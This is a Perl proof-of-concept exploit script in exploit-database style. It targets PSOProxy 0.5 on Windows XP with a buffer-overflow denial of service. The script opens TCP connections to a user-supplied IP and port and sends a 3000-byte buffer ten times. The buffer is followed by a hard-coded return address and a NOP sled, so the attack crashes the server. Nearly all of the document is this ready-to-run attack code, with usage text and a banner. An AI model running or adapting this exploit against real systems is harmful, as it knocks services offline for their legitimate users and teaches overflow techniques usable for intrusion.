#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: PSOProxy 0.5 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 10 january 2024 # Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/ # Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing # Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing # Notification vendor: No reported # Tested Version: PSOProxy 0.5 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to web server. #The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); my $i=0; print "\t ==> Exploiting... \n\n"; while ($i <= 9) { my $sock = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Cannot connect to $ip:$port: $!\n"; my $buffer = "A" x 3000; my $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; $buffer .= "\x0F\x98\xF8\x77" . $shellcode; print $sock $buffer . "\r\n"; close($sock); $i++; } print "\t ==> Done! Exploited!"; sub intro { print q { ,--, _ ___/ /\| ,;'( )__, ) ~ // // '--; ' \ | ^ ^ ^ [+] PSOProxy 0.5 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated